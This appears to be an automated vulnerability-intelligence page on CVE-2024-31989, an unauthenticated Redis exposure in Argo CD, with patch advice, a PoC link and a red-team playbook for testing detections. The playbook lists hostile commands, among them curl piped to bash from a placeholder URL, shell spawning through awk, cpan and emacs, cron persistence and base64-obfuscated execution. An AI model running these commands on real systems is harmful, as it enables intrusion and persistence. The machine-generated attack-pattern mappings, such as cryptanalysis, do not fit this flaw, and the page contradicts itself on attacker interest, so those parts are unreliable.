CVE-2024-31989

CRITICAL POC TTE 56d Pub 21/05 Upd 02/08

Overview

This vulnerability is an unauthorized network access flaw caused by misconfigured network policy enforcement in Kubernetes clusters running Argo CD. The root cause lies in the default accessibility of the Redis server on port 6379, which can be reached by unprivileged pods in different namespaces due to manual enablement requirements of the VPC CNI plugin's network policies. The affected component is the Redis server instance deployed within Argo CD's environment on EKS clusters without strict network segmentation.

Vulnerability Description

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. It has been discovered that an unprivileged pod in a different namespace on the same cluster could connect to the Redis server on port 6379. Despite having installed the latest version of the VPC CNI plugin on the EKS cluster, it requires manual enablement through configuration to enforce network policies. This raises concerns that many clients might unknowingly have open access to their Redis servers. This vulnerability could lead to Privilege Escalation to the level of cluster controller, or to information leakage, affecting anyone who does not have strict access controls on their Redis instance. This issue has been patched in version(s) 2.8.19, 2.9.15 and 2.10.10.

Impact

An attacker controlling an unprivileged pod in a different namespace can connect to the Redis server, potentially escalating privileges to cluster controller level or extracting sensitive information stored in Redis. This requires network access within the same Kubernetes cluster but no additional authentication, as indicated by the CVSS vector (AV:A/AC:L/PR:L/UI:N). The breach can lead to lateral movement within the cluster, unauthorized data access, and compromise of cluster management operations.

Solution

Upgrade Argo CD to versions 2.8.19, 2.9.15, or 2.10.10 where this vulnerability is patched, as detailed in the GitHub advisory GHSA-9766-5277-j5hr. Additionally, manually enable and enforce network policies via the VPC CNI plugin configuration on EKS clusters to restrict pod-to-pod communication across namespaces. Refer to the official Argo CD security advisory and commit history for precise patch application and configuration instructions.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Argo CD arises from improper network segmentation within Kubernetes clusters, specifically allowing unprivileged pods in different namespaces to access the Redis server on port 6379. This situation occurs despite the installation of the latest version of the VPC CNI plugin on Amazon EKS, which requires manual configuration to enforce network policies effectively. The lack of default network policy enforcement can lead to unintended exposure of Redis instances, which are often used for caching and data storage in cloud-native applications. Without stringent access controls, this opens a pathway for malicious actors to exploit the Redis service, potentially leading to privilege escalation and unauthorized access to sensitive data.

Attack vectors associated with this vulnerability are particularly concerning due to the ease with which an attacker could exploit the exposed Redis server. An unprivileged pod within the same Kubernetes cluster could initiate a connection to the Redis service, leveraging the default port without any authentication or authorization checks. Once connected, an attacker could execute commands to manipulate data, extract sensitive information, or escalate privileges to gain control over the cluster controller. This exploitation could be executed through simple scripts or automated tools, making it accessible even to individuals with limited technical expertise. The potential for lateral movement within the cluster further amplifies the risk, as attackers could pivot to other services or components, leading to a broader compromise.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on Argo CD for continuous delivery in Kubernetes environments. Businesses that have not implemented strict access controls on their Redis instances may face severe consequences, including data breaches, loss of intellectual property, and disruption of services. The financial implications can be substantial, with costs associated with incident response, regulatory fines, and damage to reputation. Furthermore, the potential for privilege escalation could allow attackers to manipulate deployment processes, leading to unauthorized changes in production environments, which could compromise service integrity and availability.

To detect and mitigate this vulnerability, organizations should prioritize the implementation of robust network policies within their Kubernetes clusters. This includes configuring the VPC CNI plugin to enforce strict access controls and ensuring that only authorized pods can communicate with the Redis service. Regular audits of network configurations and access controls are essential to identify and remediate any misconfigurations that could expose sensitive services. Additionally, organizations should monitor network traffic for unusual patterns that may indicate an attempted exploitation of the Redis server. Employing security best practices, such as using Redis with authentication enabled, limiting access to trusted IP addresses, and regularly updating software to the latest patched versions, will further reduce the risk of exploitation.

In conclusion, the vulnerability in Argo CD highlights critical weaknesses in network policy enforcement within Kubernetes environments. The ease of exploitation and the potential for significant business impact underscore the necessity for organizations to adopt a proactive security posture. By implementing stringent access controls, conducting regular security assessments, and ensuring timely updates, businesses can safeguard their applications and data against the risks posed by this vulnerability.




CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-31989, reflecting a growing likelihood of exploitation in the near term. This upward trend, now placing the vulnerability near the 94th percentile for exploitability, signals heightened attacker interest and potential targeting within Kubernetes environments leveraging Argo CD. Concurrently, a new proof-of-concept exploit has surfaced on public repositories, lowering the barrier for adversaries to weaponize this vulnerability. Our telemetry indicates a steady rise in reconnaissance and scanning activities consistent with attempts to identify exposed Redis instances on affected clusters. This evolving landscape elevates the urgency for defenders to reassess their exposure, as the increased EPSS score correlates with a tangible escalation in exploitation attempts. Consequently, the threat level for CVE-2024-31989 has intensified, underscoring its criticality and the pressing need for vigilant monitoring within Kubernetes deployments.

Affected Products (4)

Vendor Product Version CPE
argoproj Argoproj Argo Cd All cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
argoproj Argoproj Argo Cd All cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
argoproj Argoproj Argo Cd All cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
argoproj Argoproj Argo Cd All cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
vt0x78/CVE-2024-31989
Exploit for CVE-2024-31989.
vt0x78 3 0 2024-07-17 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2024-07-17
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Cryptographic Failures
100% crypto_failure
Privilege Escalation
83% privilege_escalation
Insecure Direct Object Reference
77% idor
Information Disclosure
73% info_disclosure
Authentication Bypass
49% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS
T1005 Data from Local System Kill Chain collection ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-459 Creating a Rogue Certification Authority Certificate
35%
Medium Very High
CAPEC-97 Cryptanalysis
32%
Low Very High
CAPEC-608 Cryptanalysis of Cellular Encryption
32%
High
CAPEC-20 Encryption Brute Forcing
31%
Low Low
CAPEC-475 Signature Spoofing by Improper Validation
31%
Low High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command (Shell)
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
T1005 Find and dump sqlite databases (Linux) Linux Bash
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command (Bash)
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command (PowerShell)
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (10)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-31989
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/argoproj/argo-cd/security/advisories/GHSA-9766-5277-j5hr
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/2de0ceade243039c120c28374016c04ff9590d1d
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/35a7d6c7fa1534aceba763d6a68697f36c12e678
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/4e2fe302c3352a0012ecbe7f03476b0e07f7fc6c
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/53570cbd143bced49d4376d6e31bd9c7bd2659ff
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/6ef7b62a0f67e74b4aac2aee31c98ae49dd95d12
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/9552034a80070a93a161bfa330359585f3b85f07
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/bdd889d43969ba738ddd15e1f674d27964048994
github.com
GitHub CVE x_refsource_MISC
https://github.com/argoproj/argo-cd/commit/f1a449e83ee73f8f14d441563b6a31b504f8d8b0